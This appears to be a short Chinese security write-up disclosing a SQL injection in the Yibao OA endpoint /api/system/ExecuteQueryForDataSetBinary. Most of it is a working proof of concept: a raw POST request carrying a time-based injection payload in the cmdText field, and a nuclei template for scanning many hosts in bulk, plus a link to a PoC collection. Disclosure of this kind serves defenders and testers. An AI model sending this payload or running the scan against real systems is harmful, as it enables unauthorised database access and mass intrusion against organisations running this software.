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漏洞描述

易宝OA的/api/system/ExecuteQueryForDataSetBinary处存在sql注入漏洞

漏洞复现

打开页面

构造payload

POST /api/system/ExecuteQueryForDataSetBinary HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 43

token=zxh&cmdText=;WAITFOR DELAY '0:0:2'--+

nuclei批量验证

id: YiBao-OA-ExecuteQueryForDataSetBinary-sqli

info:
  name: YiBao-OA-ExecuteQueryForDataSetBinary-sqli
  author: changge
  severity: critical

http:
  - raw: 
    - |
      POST /api/system/ExecuteQueryForDataSetBinary HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Accept-Encoding: gzip
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
      Content-Length: 43

      token=zxh&cmdText=;WAITFOR DELAY '0:0:2'--+

    matchers:
      - type: dsl
        dsl: 
         - 'duration>=2'

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（长歌安全）：易宝OA-ExecuteQueryForDataSetBinary处sql注入